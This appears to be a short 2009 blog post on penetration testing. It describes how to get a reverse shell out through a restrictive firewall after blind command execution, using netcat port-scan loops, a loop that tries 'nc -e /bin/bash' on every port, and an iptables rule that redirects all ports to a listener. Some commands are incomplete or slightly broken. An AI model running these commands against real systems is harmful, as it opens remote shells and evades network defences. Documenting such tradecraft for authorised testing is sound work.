Thursday, September 24, 2009

Blind Connect-back Through Restrictive Firewall

The following scenario is admittedly far-fetched. It’s unlikely that you’ll actually encounter it but you might encounter a situation that’s similar. You’re in a pen test and you’ve found a host that you can execute commands on but you can’t see the results. It should be simple enough to shovel a shell back to you but that’s not working. You know you’ve got commands running because you can send a ping command and see the pings coming to you. There might be a restrictive firewall between you and the target that isn’t letting the TCP/UDP streams through for ports you choose. If this sounds silly consider that there are systems out there that actually use RPC over email.

You can craft a port scan through simple commands that you can launch into your target. However if you can’t see the results of the scan you don’t know what port you can connect through. A minimalist port scan might look like this:

(for i in seq 1 65536;do nc -zw 3 $i && echo $i open;done) > scan_results

In this case we can’t see the results. You can watch a packet capture on your box and then subsequently send another command to connect to the port that got through. I’m lazy, impatient and efficiency minded. Let’s combine our scan with the shoveling.

i=1;while [ $i -lt 65535 ]; do nc -e /bin/bash $i && exit;i=$(( i + 1 ));done

So this will skip the port scan and just look for a way out. But what are you supposed to do, leave a netcat listening on every port? If you have an extra IP ( we can send every port to our netcat port. It looks something like this:

iptables -I INPUT -p tcp -m state --state NEW -d -j DNAT --to

If your netcat listener is on any TCP connection to any port on will get forwarded to your netcat listener. Blind injection could also be used to send packets to an idle host while you watch the IP IDs returned by the idle host. Essentially you can cause a remote host to start an idle scan for you to watch from your host, abstracting away your real IP.

This is all theoretical and it’s probably something you’ll never find a situation where this is the answer. I’ve played with pieces but haven’t put it all together. I’m just the idea guy.

Update: That was fast.

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